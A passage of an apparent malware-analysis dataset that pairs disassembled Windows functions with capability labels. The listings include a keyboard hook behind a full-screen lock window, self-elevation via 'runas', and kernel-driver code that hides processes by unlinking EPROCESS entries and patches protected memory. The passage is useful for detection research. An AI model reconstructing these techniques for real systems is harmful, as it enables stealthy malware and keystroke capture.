joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400328fc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14002b4b0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140032986
cmp byte [rbp - 0x21], r15b
je 0x140032981
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400329bc
call fcn.140030af0
test eax, eax
jne 0x1400329a8
cmp byte [rbp - 0x21], r15b
je 0x1400329a0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400329bc
cmp byte [rbp - 0x21], r15b
je 0x1400329b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14002dae8
test eax, eax
jne 0x140032a5c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14002b4b0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400329fb
cmp byte [rbp - 0x21], r15b
je 0x140032a30
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140032a30
call fcn.140030af0
test eax, eax
jne 0x140032a1c
cmp byte [rbp - 0x21], r15b
je 0x140032a15
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140032a30
cmp byte [rbp - 0x21], r15b
je 0x140032a2d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14002dae8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140032a5c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140032a5f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140032a6d
mov rcx, rdi
call fcn.14002da98
cmp byte [rbp + 0x3f], r15b
je 0x140032a7c
mov rcx, qword [rbp + 0x27]
call fcn.14002da98
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400037b0
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x1ff70]
mov eax, 0x20070
call fcn.140048f90
sub rsp, rax
lea rcx, [rsp + 0x50]
mov rsi, rdx
call fcn.140009640
xor bl, bl
lea rdx, [rsp + 0x70]
mov ecx, 0x7fff
mov byte [rbp + 0x1ffa0], bl
xor dil, dil
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r8, [rbp + 0x1ffb0]
mov rdx, rsi
call fcn.1400057a0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14004b872
mov eax, dword [0x1400f04c0]
test eax, eax
je 0x14004b894
mov r15d, 1
lea rcx, [0x1400f2230]
cmp eax, r15d
je 0x14004b8a0
lea rax, [rbp + 0x1ffa0]
lea r8, [0x1400f04c0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400f04e8]
call fcn.140003f04
test al, al
je 0x14004b8c4
mov al, byte [0x1400f2230]
lea r9, [rbp + 0x1ffb8]
mov rcx, qword [0x1400f04e8]
lea r8, [rbp + 0xff70]
mov dil, byte [0x1400f2231]
mov edx, 0x7fff
mov byte [0x1400f04c4], al
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov rdx, qword [rbp + 0x1ffb8]
lea rcx, [0x1400f04a0]
call fcn.140007cf4
mov bl, byte [rbp + 0x1ffa0]
mov r8d, dword [0x1400f04c0]
lea rdx, [0x1400f04e8]
call fcn.140003f9c
test eax, eax
jne 0x14004b8d0
cmp dil, r15b
je 0x14004b8f3
call fcn.140003b84
call fcn.140003cbc
cmp byte [0x1400f04c4], 0
jne 0x1400038ef
lea rcx, [0x1400f0e60]
call fcn.140006258
mov edx, r15d
lea rcx, [0x1400f0510]
call fcn.1400125f0
cmp byte [0x1400f04c4], 0
jne 0x140003913
lea rcx, [0x1400f0e60]
call fcn.140005d88
lea rcx, [0x1400f2230]
call fcn.1400039e4
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rsp + 0x50]
call fcn.14000a07c
add rsp, 0x20070
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r9d, reloc.WSOCK32.dll_recv
lea r8, [0x1400dc23c]
lea rdx, str.This_is_a_third_party_compiled_Bdfvgh_script.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
jmp 0x14000392a
or dword [0x1400f03b0], 0xffffffff
jmp 0x14000391f
mov r8, qword [0x1400f04c8]
or r9d, 0xffffffff
mov edx, r15d
call fcn.14000e278
mov al, byte [0x1400f03b8]
mov byte [0x1400f2232], al
jmp 0x1400038ac
mov dword [0x1400f03b0], r15d
jmp 0x14000391f
lea rcx, [0x1400f2230]
call fcn.1400039e4
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x1400f03b0], r15d
jmp 0x14000392a
call fcn.14006d540
test al, al
jne 0x1400038d0
cmp byte [rbp + 0x1ffb0], al
jne 0x1400038d0
lea rcx, [rsp + 0x50]
call fcn.140005680
lea rdx, [0x1400d8704]
lea rcx, [rsp + 0x30]
call fcn.14000ec00
lea rcx, [rsp + 0x30]
test bl, bl
je 0x14004b95b
lea rdx, [0x1400dc270]
call fcn.1400071f8
lea rdx, [0x1400f04e8]
lea rcx, [rsp + 0x30]
call fcn.140007c24
lea rdx, [0x1400dc270]
lea rcx, [rsp + 0x30]
jmp 0x14004b95e
mov rdx, rsi
call fcn.1400071f8
mov rbx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [rsp + 0x50]
lea rdx, str.runas
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, [rsp + 0x70]
mov r9, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x30]
call fcn.14000a07c
nop
jmp 0x140003913
Function at 0x140001670
Capabilities:
Log keystrokes via application hook

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0xf0
mov rax, qword [0x14001b040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor esi, esi
lea rax, [0x140001330]
mov qword [rsp + 0x60], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x70], rsi
xor ecx, ecx
movdqa xmmword [r11 - 0x78], xmm0
mov qword [r11 - 0x60], rsi
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, 4
mov qword [rsp + 0x78], rax
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdi, str.LockScreenClass
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xa0], rdi
call qword [sym.imp.USER32.dll_RegisterClassW]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r8, qword [rsp + 0x78]
mov r9d, 0x90000000
mov qword [rsp + 0x58], rsi
mov rdx, rdi
mov qword [rsp + 0x50], r8
mov ecx, 0x88
mov qword [rsp + 0x48], rsi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, 1
mov qword [0x14001cd88], rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [0x14001cd88]
xor r9d, r9d
mov dword [rsp + 0x30], 0x40
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rcx, qword [0x14001cd88]
mov edx, 3
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
lea rdx, [0x1400011d0]
xor r8d, r8d
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
mov qword [0x14001cd80], rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001816
nop word [rax + rax]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400017e0
mov rcx, qword [0x14001cd80]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001ae0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14000275c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400027a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400027a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400027a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400027a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400027a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400027a8
xor al, al
add rsp, 0x28
ret
Function at 0x140005824
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005893
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005893
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005893
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005893
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005893
cmp dword [rcx + 0x84], 0xe
jbe 0x140005893
cmp dword [rcx + 0xf8], 0
je 0x140005893
mov ecx, ebx
call fcn.140005944
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005720
nop
cmp dword [rbp + 0x20], 0
je 0x1400058e1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400058ec
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140005824

Function at 0x140005a28
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005824
Function at 0x140008f84
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008fb4
xor eax, eax
jmp 0x140009077
mov rbp, rbx
cmp word [rax], si
je 0x140008fd9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008fc0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008fbc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008ea4
movsxd r14, eax
test eax, eax
jne 0x140009017
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008fad
mov rcx, r14
call fcn.1400072ac
mov rdi, rax
test rax, rax
jne 0x140009030
xor ecx, ecx
call fcn.1400074dc
jmp 0x14000900c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008ea4
test eax, eax
jne 0x140009061
mov rcx, rdi
call fcn.1400074dc
jmp 0x14000906b
xor ecx, ecx
call fcn.1400074dc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140001000
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
movsxd rax, dword [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140001066
cmp dword [rsp + 0x20], 0xc000000d
jne 0x140001049
lea rcx, [0x1400034e0]
call sub.ntoskrnl.exe_DbgPrint
cmp dword [rsp + 0x20], 0xc000000b
jne 0x14000105f
lea rcx, [0x140003500]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xffffffff
jmp 0x1400010ab
mov eax, dword [0x140006318]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
cmp eax, ecx
jne 0x14000109d
lea rcx, [0x140003880]
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
jmp 0x1400010ab
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp + 0x58]
mov byte [rax], cl
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400010b0
Capabilities:
Create device object
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea rcx, [0x140006590]
call sub.ntoskrnl.exe_ExInitializePushLock
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x22
lea r8, section..data
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x140001121
movsxd rax, dword [rsp + 0x40]
mov rcx, rax
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x1400011f8
lea rdx, section..data
lea rcx, [0x140006010]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x140001166
movsxd rax, dword [rsp + 0x40]
mov rcx, rax
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, 0xc0000001
jmp 0x1400011f8
call fcn.140001b00
test eax, eax
je 0x14000118c
lea rcx, [0x140003e60]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rsp + 0x60]
call fcn.140002bd0
mov eax, 0xc0000001
jmp 0x1400011f8
lea rcx, [0x140003e80]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rsp + 0x60]
lea rcx, [fcn.140002bd0]
mov qword [rax + 0x68], rcx
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x60]
lea rdx, [0x140002400]
mov qword [rcx + rax + 0x70], rdx
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
lea rdx, [0x140001ae0]
mov qword [rcx + rax + 0x70], rdx
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x60]
lea rdx, [0x140001ac0]
mov qword [rcx + rax + 0x70], rdx
xor eax, eax
add rsp, 0x58
ret
Function at 0x140001920
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov qword [rsp + 0x30], 0
movsxd rax, dword [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140001985
cmp dword [rsp + 0x20], 0xc000000d
jne 0x140001965
lea rcx, [0x1400039f0]
call sub.ntoskrnl.exe_DbgPrint
cmp dword [rsp + 0x20], 0xc000000b
jne 0x14000197b
lea rcx, [0x140003a10]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xffffffff
jmp 0x140001aac
mov eax, dword [0x140006314]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
lea rcx, [0x140006590]
call qword [sym.imp.ntoskrnl.exe_ExAcquirePushLockExclusiveEx]
mov rax, qword [rsp + 0x28]
cmp qword [rax], 0
je 0x1400019c1
mov rax, qword [rsp + 0x28]
cmp qword [rax + 8], 0
jne 0x1400019d5
xor edx, edx
lea rcx, [0x140006590]
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
jmp 0x140001a8a
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
cmp qword [rax + 8], rcx
jne 0x1400019fb
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x28]
cmp qword [rax], rcx
je 0x140001a20
xor edx, edx
lea rcx, [0x140006590]
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
lea rcx, [0x140003a40]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xffffffff
jmp 0x140001aac
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [rax], 0
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], 0
xor edx, edx
lea rcx, [0x140006590]
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
mov rcx, qword [rsp + 0x30]
call sub.ntoskrnl.exe_PsGetProcessImageFileName
mov rdx, rax
lea rcx, [0x140003a70]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001a9f
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140001b00
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x168
mov rax, qword [0x140006030]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
cmp dword [rsp + 0x3c], 0x4563
jne 0x140001b42
mov dword [0x140006310], 0x358
jmp 0x140001b78
cmp dword [rsp + 0x3c], 0x47ba
jne 0x140001b58
mov dword [0x140006310], 0x360
jmp 0x140001b78
cmp dword [rsp + 0x3c], 0x4a65
jne 0x140001b6e
mov dword [0x140006310], 0x4b8
jmp 0x140001b78
mov dword [0x140006310], 0
cmp dword [rsp + 0x3c], 0x3839
jne 0x140001b8e
mov dword [0x140006314], 0x2f0
jmp 0x140001be4
cmp dword [rsp + 0x3c], 0x3ad7
jb 0x140001bae
cmp dword [rsp + 0x3c], 0x4563
ja 0x140001bae
mov dword [0x140006314], 0x360
jmp 0x140001be4
cmp dword [rsp + 0x3c], 0x47ba
jne 0x140001bc4
mov dword [0x140006314], 0x2f0
jmp 0x140001be4
cmp dword [rsp + 0x3c], 0x4a65
jne 0x140001bda
mov dword [0x140006314], 0x448
jmp 0x140001be4
mov dword [0x140006314], 0
cmp dword [rsp + 0x3c], 0x295a
jne 0x140001bfa
mov dword [0x140006318], 0x6b2
jmp 0x140001c66
cmp dword [rsp + 0x3c], 0x3839
jne 0x140001c10
mov dword [0x140006318], 0x6c2
jmp 0x140001c66
cmp dword [rsp + 0x3c], 0x3ad7
jb 0x140001c30
cmp dword [rsp + 0x3c], 0x4563
ja 0x140001c30
mov dword [0x140006318], 0x6ca
jmp 0x140001c66
cmp dword [rsp + 0x3c], 0x47ba
jne 0x140001c46
mov dword [0x140006318], 0x6fa
jmp 0x140001c66
cmp dword [rsp + 0x3c], 0x4a65
jne 0x140001c5c
mov dword [0x140006318], 0x87a
jmp 0x140001c66
mov dword [0x140006318], 0
cmp dword [0x140006314], 0
je 0x140001c85
cmp dword [0x140006310], 0
je 0x140001c85
cmp dword [0x140006318], 0
je 0x140001c85
xor eax, eax
jmp 0x140001c9a
mov edx, dword [rsp + 0x3c]
lea rcx, [0x140003e10]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140002d40
add rsp, 0x168
ret
Function at 0x140001fd0
Capabilities:
Find process by pid
Print debug messages

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov ecx, 4
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x14000202e
cmp dword [rsp + 0x20], 0xc000000d
jne 0x14000200e
lea rcx, [0x1400034e0]
call sub.ntoskrnl.exe_DbgPrint
cmp dword [rsp + 0x20], 0xc000000b
jne 0x140002024
lea rcx, [0x140003500]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xffffffff
jmp 0x1400020c0
mov eax, dword [0x140006314]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov eax, dword [0x140006314]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x28]
cmp qword [rcx], rax
je 0x1400020b5
mov rax, qword [rsp + 0x28]
mov r8, qword [rax]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 8]
lea rcx, [0x140003860]
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [0x140006314]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, rcx
mov ecx, dword [0x140006318]
add rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
jmp 0x140002044
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x48
ret
Function at 0x140002bd0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
cmp qword [0x140006360], 0
je 0x140002bfc
mov r8d, 0xc
lea rdx, [0x140006354]
mov rcx, qword [0x140006360]
call fcn.140002c30
lea rcx, [0x140006010]
call qword [sym.imp.ntoskrnl.exe_IoDeleteSymbolicLink]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
lea rcx, [0x140003ac0]
call sub.ntoskrnl.exe_DbgPrint
add rsp, 0x28
ret

Function at 0x140002c30
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140002c86
lea rcx, [0x1400034b0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xffffffff
jmp 0x140002d1e
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_MmProbeAndLockPages]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPagesSpecifyCache]
mov qword [rsp + 0x38], rax
mov edx, 4
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_MmProtectMdlSystemAddress]
test eax, eax
je 0x140002ce5
lea rcx, [0x1400034b0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xffffffff
jmp 0x140002d1e
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
rep movsb byte [rdi], byte [rsi]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_MmUnlockPages]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
xor eax, eax
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x140003110
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000313d
xor eax, eax
jmp 0x1400032a9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003177
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003177
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400032a9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000329c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400031ba
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400031e5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400032a1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
